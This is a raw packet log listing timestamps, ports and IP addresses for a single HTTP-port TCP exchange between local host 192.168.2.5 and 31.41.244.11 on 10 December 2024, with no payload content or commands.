Dec 10, 2024 02:51:12.553055048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.553167105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.553212881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.554251909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.554296970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.554363012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.554409027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.555423975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.555470943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.555507898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.555552959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.556627989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.556724072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.556781054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.557843924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.557894945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.557931900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.557974100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.559009075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.559048891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.559117079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.559156895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.560194969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.560302973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.560344934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.561465979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.561507940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.561558962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.561602116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.562582970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.562625885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.562696934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.562738895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.563788891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.563848972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.563885927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.563927889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.565015078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.565115929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.565181971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.566179037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.566234112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.566289902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.566334963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.567400932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.567450047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.567509890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.567554951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.568564892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.568665028 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.568711042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.569753885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.569814920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.569883108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.569927931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.570950031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.570992947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.571046114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.571089983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.572134018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.572242022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.572289944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.573314905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.573354959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.576620102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.576788902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.576817989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.576828957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.577222109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.577330112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.577373981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.578445911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.578490973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.578562975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.578830004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.579597950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.579938889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.721930027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.722028017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.722065926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.722115040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.722418070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.722465992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.722541094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.722583055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.723642111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.723686934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.723748922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.723800898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.724802971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.724859953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.724920988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.724967957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.725986958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.726036072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.726100922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.726149082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.727195024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.727247000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.727286100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.727333069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.728389978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.728435993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.728488922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.728535891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.729593992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.729640961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.729707003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.729752064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.730775118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.730823040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.730870008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.730916023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.732219934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.732266903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.732409954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.732456923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.733164072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.733227968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.733371019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.733418941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.734361887 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.734406948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.734468937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.734513998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.735562086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.735606909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.735665083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.735708952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.736768961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.736816883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.736851931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.736911058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.737938881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.737989902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.738043070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.738086939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.739175081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.739221096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.739281893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.739322901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.740361929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.740407944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.740561962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.740607023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.741544962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.741590977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.741666079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.741712093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.742754936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.742805958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.742824078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.742868900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.743918896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.743963957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.744122982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.744167089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.745151997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.745209932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.745254040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.746304035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.746355057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.746385098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.746432066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.747489929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.747536898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.747600079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.747644901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.748694897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.748740911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.748800039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.748842955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.749859095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.749908924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.749979019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.750025988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.751092911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.751137972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.751184940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.751230001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.752269030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.752315998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.752367020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.752412081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.753480911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.753529072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.753560066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.753604889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.754698038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.754748106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.754774094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.754818916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.755835056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.755881071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.756002903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.756048918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.757038116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.757085085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.757138968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.757183075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.758239985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.758284092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.758346081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.758390903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.759419918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.759468079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.759527922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.759573936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.761110067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.761122942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.761172056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.761872053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.761920929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.762061119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.762108088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.763022900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.763068914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.763129950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.763176918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.764233112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.764276028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.764307976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.764352083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.765397072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.765435934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.765508890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.765558004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.766627073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.766673088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.766702890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.766747952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.767779112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.767826080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.767887115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.767931938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.768984079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.769031048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.769103050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.769150019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.770198107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.770303011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.770386934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.770386934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.771358013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.771405935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.771497965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.771541119 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.772578955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.772624969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.772692919 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.772738934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.773816109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.773863077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.773899078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.773940086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.775007010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.775055885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.775063992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.775101900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.776164055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.776210070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.776258945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.776304007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.777364969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.777411938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.777448893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.777494907 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.778554916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.778599977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.778661966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.778707027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.779730082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.779773951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.779817104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.779861927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.780911922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.780958891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.781045914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.781090021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.782110929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.782155991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.782224894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.782273054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.783305883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.783396959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.783423901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.783464909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.784534931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.784585953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.914359093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.914392948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.914535046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.914535046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.914870977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.914921045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.914942026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.914987087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.915786982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.915832996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.915899038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.915946007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.916963100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.917064905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.917093992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.917107105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.918162107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.918207884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.918282986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.918328047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.919343948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.919389963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.919456005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.919497013 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.920548916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.920598030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.920640945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.920686007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.921758890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.921809912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.921912909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.921960115 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.922928095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.922976017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.923032999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.923080921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.924098015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.924143076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.924541950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.924587011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.925297976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.925343037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.925401926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.925446033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.926510096 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.926556110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.926594019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.926642895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.927666903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.927731037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.927774906 CET	80	49859	31.41.244.11	192.168.2.5
